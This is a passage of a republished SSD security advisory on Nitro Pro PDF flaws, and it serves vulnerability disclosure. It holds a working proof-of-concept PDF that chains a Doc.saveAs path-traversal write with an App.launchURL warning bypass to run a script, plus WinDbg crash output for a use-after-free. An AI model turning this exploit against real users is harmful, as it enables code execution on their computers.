{"id":8430,"date":"2017-07-24T14:19:50","date_gmt":"2017-07-24T22:19:50","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/07\/24\/news-2204\/"},"modified":"2017-07-24T14:19:50","modified_gmt":"2017-07-24T22:19:50","slug":"news-2204","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/07\/24\/news-2204\/","title":{"rendered":"SSD Advisory \u2013 Nitro Pro PDF Multiple Vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 24 Jul 2017 05:25:58 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3251\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3251');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes three vulnerabilities found in Nitro \/ Nitro Pro PDF.<\/p>\n<p>Nitro Pro is the PDF reader and editor that does everything you will ever need to do with PDF files. The powerful but snappy editor lets you change PDF documents with ease, and comes with a built-in OCR engine that can transform scanned documents into editable files. Fill up forms, annotate and sign them as part of your workflow, and easily merge multiple documents or delete selected pages as necessary.<\/p>\n<p>If you use a large display or multiple monitors, NitroPDF also offers the ability to display PDF documents side-by-side so that you can pore through multiple documents. Of course, you could use AquaSnap to do that.<\/p>\n<p>The vulnerabilities found in Nitro PDF are:<\/p>\n<ul>\n<li>Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution<\/li>\n<li>App.launchURL Command Execution<\/li>\n<li>JPEG2000 npdf.dll Use-After-Free<\/li>\n<li>Forms Parsing NPForms.npp Use-After-Free<\/li>\n<li>File Parsing Count Field npdf.dll Memory Corruption <\/li>\n<li>NewWindow Launch Action NPActions.npp Command <\/li>\n<li>URI Action NPActions.npp Command Execution<\/li>\n<\/ul>\n<p>This report contain the following vulnerabilities:<\/p>\n<ul>\n<li>Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution<\/li>\n<li>App.launchURL Command Execution<\/li>\n<li>JPEG2000 npdf.dll Use-After-Free<\/li>\n<\/ul>\n<p><strong>Credit<\/strong><br \/> Two independent security researchers have reported these vulnerabilities to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor response<\/strong><br \/> The vendor has released patches to address this vulnerability. &#8220;Number of the reported vulnerabilities have been resolved and confirmed, and will included in our next release of Nitro Pro, 11.05.&#8221;<\/p>\n<p>For more details: <a href=\"https:\/\/www.gonitro.com\/support\/downloads#securityUpdates\" target=\"_blank\">https:\/\/www.gonitro.com\/support\/downloads#securityUpdates<\/a><br \/> <span id=\"more-3251\"><\/span><\/p>\n<p><u><strong>Vulnerabilities Details<\/strong><\/u><\/p>\n<p><strong>Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution<\/strong><br \/> The Doc.saveAs function does not validate either the file extension, the content of the PDF or if the path contains traversals before saving it to disk.<\/p>\n<p>An attacker can leverage this to write a malicious file to the operating system in any path. This alone can be used to achieve remote code execution by writing into the users startup folder. <\/p>\n<p><strong>App.launchURL Command Execution<\/strong><br \/> The App.launchURL function allows an attacker to execute commands with the privileges of the currently running user. However, a security alert or warning is typically triggered when doing so.<\/p>\n<p>This can be bypassed if a $ sign is used within the path. Note that if an attacker does this, they will execute the file from the current directory, which may not be ideal for exploitation.<\/p>\n<p>Also note, that the App.launchURL function does not filter for space characters such as carriage return and line feeds. This can allow an attacker to spoof the file \/url being launched.<\/p>\n<p><strong><em>Doc.saveAs<\/em> and <em>App.launchURL<\/em> Remote Code Execution Proof of Concept <\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e1365822322390\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> %PDF-1.7  4 0 obj  &lt;&lt;  \/Length 0  &gt;&gt;  stream  &lt;script&gt;  \/\/ enter your shellcode here  WshShell = new ActiveXObject(&#8220;WScript.Shell&#8221;);  WshShell.Run(&#8220;c:\/windows\/system32\/calc.exe&#8221;, 1, false);  &lt;\/script&gt;  endstream endobj  5 0 obj  &lt;&lt;  \/Type \/Page  \/Parent 2 0 R  \/Contents 4 0 R  &gt;&gt;   endobj  1 0 obj  &lt;&lt;  \/Type \/Catalog  \/Pages 2 0 R  \/OpenAction [ 5 0 R \/Fit ]    \/Names &lt;&lt;      \/JavaScript &lt;&lt;        \/Names [          (EmbeddedJS)          &lt;&lt;            \/S \/JavaScript            \/JS (  \t\tthis.saveAs(&#8216;..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/Windows\/Temp\/si.hta&#8217;);  \t\tapp.launchURL(&#8216;c$:\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/Windows\/Temp\/si.hta&#8217;);            )          &gt;&gt;        ]      &gt;&gt;    &gt;&gt;  &gt;&gt;   endobj  2 0 obj  &lt;&lt;\/Type\/Pages\/Count 1\/Kids [ 5 0 R ]&gt;&gt;  endobj  3 0 obj  &lt;&lt;&gt;&gt;  endobj  xref  0 6  0000000000 65535 f   0000000166 00000 n   0000000244 00000 n   0000000305 00000 n   0000000009 00000 n   0000000058 00000 n   trailer &lt;&lt;  \/Size 6  \/Root 1 0 R  &gt;&gt;  startxref  327  %%EOF<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0075 seconds] -->  <\/p>\n<p><strong>JPEG2000 npdf.dll Use-After-Free<\/strong><br \/> When parsing a malformed embedded JPEG2000 image into a PDF the process will destroy an object in memory, forcing a pointer to be reused after it has been free. The reuse functions are located in the npdf.dll.<\/p>\n<p>when browsing a folder with the mutated files and attaching to the newly launched dllhost.exe, WinDbg will show:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e1370673277447\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  CNitroPDFThumbProvider::GetThumbnail &#8211; prepare device to renderCNitroPDFThumbProvider::GetThumbnail &#8211; render the page(1010.1038): Access violation &#8211; code c0000005 (first chance)  First chance exceptions are reported before any exception handling.  This exception may be expected and handled.  npdf!CxRect2::Width+0x4f6f6:  000007fe`e592dd16 488b01          mov     rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????  &#8230;    &#8230;  000007fe`e592dd16 488b01          mov     rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????  000007fe`e592dd19 ff90d0000000    call    qword ptr [rax+0D0h]  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1370673277447-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1370673277447-12\">12<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-2\"><span class=\"crayon-v\">CNitroPDFThumbProvider<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">GetThumbnail<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">prepare <\/span><span class=\"crayon-e\">device <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">renderCNitroPDFThumbProvider<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">GetThumbnail<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">render <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">page<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1010.1038<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Access <\/span><span class=\"crayon-v\">violation<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-e\">c0000005<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">first <\/span><span class=\"crayon-v\">chance<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-3\"><span class=\"crayon-e\">First <\/span><span class=\"crayon-e\">chance <\/span><span class=\"crayon-e\">exceptions <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-e\">reported <\/span><span class=\"crayon-e\">before <\/span><span class=\"crayon-e\">any <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-v\">handling<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-4\"><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-e\">may <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">expected <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">handled<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-5\"><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x4f6f6<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-6\"><span class=\"crayon-cn\">000007fe<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">e592dd16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">488b01<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mov&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rcx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ds<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">feeefeee<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-v\">feeefeee<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-7\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-9\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-10\"><span class=\"crayon-cn\">000007fe<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">e592dd16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">488b01<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mov&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rcx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ds<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">feeefeee<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-v\">feeefeee<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1370673277447-11\"><span class=\"crayon-cn\">000007fe<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-e\">e592dd19 <\/span><span class=\"crayon-e\">ff90d0000000&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">call&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">qword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0D0h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1370673277447-12\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0023 seconds] -->  <\/p>\n<p>When opening the file with Nitro PDF Reader 32 BIT, WinDbg will show ex. :<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e1373949569762\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  (d7c.1210): Access violation &#8211; code c0000005 (first chance)  First chance exceptions are reported before any exception handling.  This exception may be expected and handled.  eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000  eip=4f532f32 esp=01145614 ebp=01145628 iopl=0         nv up ei pl nz na po nc  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  4f532f32 ??              ???  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1373949569762-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1373949569762-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1373949569762-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1373949569762-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1373949569762-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1373949569762-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1373949569762-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1373949569762-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1373949569762-9\">9<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59767285e1373949569762-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1373949569762-2\"><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">d7c<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">1210<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Access <\/span><span class=\"crayon-v\">violation<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-e\">c0000005<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">first <\/span><span class=\"crayon-v\">chance<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1373949569762-3\"><span class=\"crayon-e\">First <\/span><span class=\"crayon-e\">chance <\/span><span class=\"crayon-e\">exceptions <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-e\">reported <\/span><span class=\"crayon-e\">before <\/span><span class=\"crayon-e\">any <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-v\">handling<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1373949569762-4\"><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-e\">may <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">expected <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">handled<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1373949569762-5\"><span class=\"crayon-v\">eax<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">05fffda8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0133115c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">16cf6c38<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">013311c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">esi<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">00000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1373949569762-6\"><span class=\"crayon-v\">eip<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">4f532f32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">esp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">01145614<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">01145628<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">iopl<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">nv <\/span><span class=\"crayon-e\">up <\/span><span class=\"crayon-e\">ei <\/span><span class=\"crayon-e\">pl <\/span><span class=\"crayon-e\">nz <\/span><span class=\"crayon-e\">na <\/span><span class=\"crayon-e\">po <\/span><span class=\"crayon-e\">nc<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1373949569762-7\"><span class=\"crayon-v\">cs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0023<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ss<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ds<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">es<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0053<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">gs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">efl<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">00010202<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1373949569762-8\"><span class=\"crayon-cn\">4f532f32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><\/div>\n<div class=\"crayon-line\" 